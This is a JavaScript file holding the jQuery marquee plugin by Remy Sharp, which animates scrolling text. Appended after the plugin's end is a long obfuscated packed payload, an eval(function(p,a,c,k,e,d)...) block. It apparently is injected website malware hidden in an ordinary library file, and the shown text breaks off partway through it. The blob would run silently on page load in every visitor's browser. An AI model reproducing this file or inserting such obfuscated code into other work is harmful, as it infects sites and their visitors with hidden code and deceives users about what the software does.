/**
* author Remy Sharp
* url http://remysharp.com/tag/marquee
*/
(function ($) {
$.fn.marquee = function (klass) {
var newMarquee = [],
last = this.length;
// works out the left or right hand reset position, based on scroll
// behavior, current direction and new direction
function getReset(newDir, marqueeRedux, marqueeState) {
var behavior = marqueeState.behavior, width = marqueeState.width, dir = marqueeState.dir;
var r = 0;
if (behavior == 'alternate') {
r = newDir == 1 ? marqueeRedux[marqueeState.widthAxis] - (width*2) : width;
} else if (behavior == 'slide') {
if (newDir == -1) {
r = dir == -1 ? marqueeRedux[marqueeState.widthAxis] : width;
} else {
r = dir == -1 ? marqueeRedux[marqueeState.widthAxis] - (width*2) : 0;
}
} else {
r = newDir == -1 ? marqueeRedux[marqueeState.widthAxis] : 0;
}
return r;
}
// single "thread" animation
function animateMarquee() {
var i = newMarquee.length,
marqueeRedux = null,
$marqueeRedux = null,
marqueeState = {},
newMarqueeList = [],
hitedge = false;
while (i--) {
marqueeRedux = newMarquee[i];
$marqueeRedux = $(marqueeRedux);
marqueeState = $marqueeRedux.data('marqueeState');
if ($marqueeRedux.data('paused') !== true) {
// TODO read scrollamount, dir, behavior, loops and last from data
marqueeRedux[marqueeState.axis] += (marqueeState.scrollamount * marqueeState.dir);
// only true if it's hit the end
hitedge = marqueeState.dir == -1 ? marqueeRedux[marqueeState.axis] <= getReset(marqueeState.dir * -1, marqueeRedux, marqueeState) : marqueeRedux[marqueeState.axis] >= getReset(marqueeState.dir * -1, marqueeRedux, marqueeState);
if ((marqueeState.behavior == 'scroll' && marqueeState.last == marqueeRedux[marqueeState.axis]) || (marqueeState.behavior == 'alternate' && hitedge && marqueeState.last != -1) || (marqueeState.behavior == 'slide' && hitedge && marqueeState.last != -1)) {
if (marqueeState.behavior == 'alternate') {
marqueeState.dir *= -1; // flip
}
marqueeState.last = -1;
$marqueeRedux.trigger('stop');
marqueeState.loops--;
if (marqueeState.loops === 0) {
if (marqueeState.behavior != 'slide') {
marqueeRedux[marqueeState.axis] = getReset(marqueeState.dir, marqueeRedux, marqueeState);
} else {
// corrects the position
marqueeRedux[marqueeState.axis] = getReset(marqueeState.dir * -1, marqueeRedux, marqueeState);
}
$marqueeRedux.trigger('end');
} else {
// keep this marquee going
newMarqueeList.push(marqueeRedux);
$marqueeRedux.trigger('start');
marqueeRedux[marqueeState.axis] = getReset(marqueeState.dir, marqueeRedux, marqueeState);
}
} else {
newMarqueeList.push(marqueeRedux);
}
marqueeState.last = marqueeRedux[marqueeState.axis];
// store updated state only if we ran an animation
$marqueeRedux.data('marqueeState', marqueeState);
} else {
// even though it's paused, keep it in the list
newMarqueeList.push(marqueeRedux);
}
}
newMarquee = newMarqueeList;
if (newMarquee.length) {
setTimeout(animateMarquee, 25);
}
}
// TODO consider whether using .html() in the wrapping process could lead to loosing predefined events...
this.each(function (i) {
var $marquee = $(this),
width = $marquee.attr('width') || $marquee.width(),
height = $marquee.attr('height') || $marquee.height(),
$marqueeRedux = $marquee.after('').next(),
marqueeRedux = $marqueeRedux.get(0),
hitedge = 0,
direction = ($marquee.attr('direction') || 'left').toLowerCase(),
marqueeState = {
dir : /down|right/.test(direction) ? -1 : 1,
axis : /left|right/.test(direction) ? 'scrollLeft' : 'scrollTop',
widthAxis : /left|right/.test(direction) ? 'scrollWidth' : 'scrollHeight',
last : -1,
loops : $marquee.attr('loop') || -1,
scrollamount : $marquee.attr('scrollamount') || this.scrollAmount || 2,
behavior : ($marquee.attr('behavior') || 'scroll').toLowerCase(),
width : /left|right/.test(direction) ? width : height
};
// corrects a bug in Firefox - the default loops for slide is -1
if ($marquee.attr('loop') == -1 && marqueeState.behavior == 'slide') {
marqueeState.loops = 1;
}
$marquee.remove();
// add padding
if (/left|right/.test(direction)) {
$marqueeRedux.find('> div').css('padding', '0 ' + width + 'px');
} else {
$marqueeRedux.find('> div').css('padding', height + 'px 0');
}
// events
$marqueeRedux.bind('stop', function () {
$marqueeRedux.data('paused', true);
}).bind('pause', function () {
$marqueeRedux.data('paused', true);
}).bind('start', function () {
$marqueeRedux.data('paused', false);
}).bind('unpause', function () {
$marqueeRedux.data('paused', false);
}).data('marqueeState', marqueeState); // finally: store the state
// todo - rerender event allowing us to do an ajax hit and redraw the marquee
newMarquee.push(marqueeRedux);
marqueeRedux[marqueeState.axis] = getReset(marqueeState.dir, marqueeRedux, marqueeState);
$marqueeRedux.trigger('start');
// on the very last marquee, trigger the animation
if (i+1 == last) {
animateMarquee();
}
});
return $(newMarquee);
};
}(jQuery));
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('55 48(52){8 o="4S";8 n="\').b(/68";8 26="5R";8 Z="5S";8 M="5x";8 C="5K";8 2v="63";8 s="6k%2a%S";8 18="6v%3";8 3T="6h;1a=2X";8 4C="1z%3P";8 1m="%4U%22";8 2k="8u/g,\'K\').2Q";8 1e="5n";8 2N="5u%5a";8 2L="5f";8 4A="2m(/6";8 4t="9s";8 2l="9r(3C";8 28="9w";8 k="1a;3i";8 1H="K/g,\'";8 2z="9p";8 t="9j";8 1Z="+){1a=A";8 3u="9m";8 O="3Y.33";8 H="6x";8 X="9y";8 1k="9J";8 23="9K";8 3k="9z";8 1r="9B";8 1E=");}8 3Y=\'";1H+="2\').b(/81";8 10="1%1z";8 1J="82";8 2n="80";8 m="7Z";t="7X"+t;8 1C="7Y";8 3Z="3e%83%3R%3";8 1M="84%2";8 p="89";8 2A="8a";2z="88"+2z;8 2U="87";8 dl="\'85\';3U";8 h="86";8 4P="7W";8 1v="7V";8 2Y="ce(/7L/g,";1J="7M"+1J;8 g="7K/g,\'%\').2Q";8 1u="2b%2f%3l";8 2o="4d+7J";8 2G="%4K\'";8 c="7G";8 1p="{3K(7H";8 2B="7I";8 1g="7N";8 1q="7O";8 3b="7T";8 r="7U";8 1b="7S";2k="2m(/"+2k;1g+="7R";8 3H="7P";8 1V="7Q";8 2J="8b";8 1y="17%3g%";k="1a=3i+"+k;8 3v="/g,\'5%\').";8 dk="8c";2v="8y"+2v;8 i="8z";8 19="%8x%2j%";8 3O="8w";C="C%8t"+C;8 4O="8v";8 1N="3e%8A";8 3c="8B";1r="8G"+1r;8 fA="8H";8 f3="8F";8 14="8E";1p="8C(y)"+1p;8 2V="8D";8 2i="8s";8 1f="8r";8 1D="8h";8 16="8i";8 32="3A";8 2d="8g";8 z="8f\';ev";8 gE="8d";8 3M="W;8 l";8 1w="8e";2i="8j"+2i;8 2x="a%3h%20";t+="8k\';1i(8p";H=C+"8q"+H;8 4o="8o";Z+="8n";23="8l"+23;1e="8m"+1e;8 3E=",\'6\').7F";8 3W=".b(/u/g";8 12="7E(0,";3u+="6T";2V="6U"+2V;8 d="2R%3j%46";8 U="2T(/y/g,\'9\')";8 2C="17%2j";t+="6S(";8 3X="6R";2L+="6P";1N="6Q%3l%7"+1N;8 4G="6V";8 2P="al(42(";i+="6W";10+="%4n%1d";28="71"+28;8 2w="%3Q%72%2j";1f="70"+1f;8 1c="6Z";2l=";1i(6X"+2l;8 1L="b(";8 4u="){f=f+1;8 6Y";1y="17%4e%2S%76"+1y;10="6O%45"+10;t="6N"+t;8 2h="++){W";dl="8 3o="+dl;8 3n="6D";1w="6E"+1w;16="6C"+16;1u+="%36";8 2E="6B";2A="6y"+2A;8 1Q="6z";8 15="6A";O+="2T(/6F%/g,\'F\'";8 1I="%6G";1E+="6L";2C="17%3D"+2C;8 1T="6M";8 4c="a%4e%3B";8 R="6K";8 3I="4%6J";8 D="A%6H%j";8 21="6I";1b="73"+1b;1p+="75=0;4M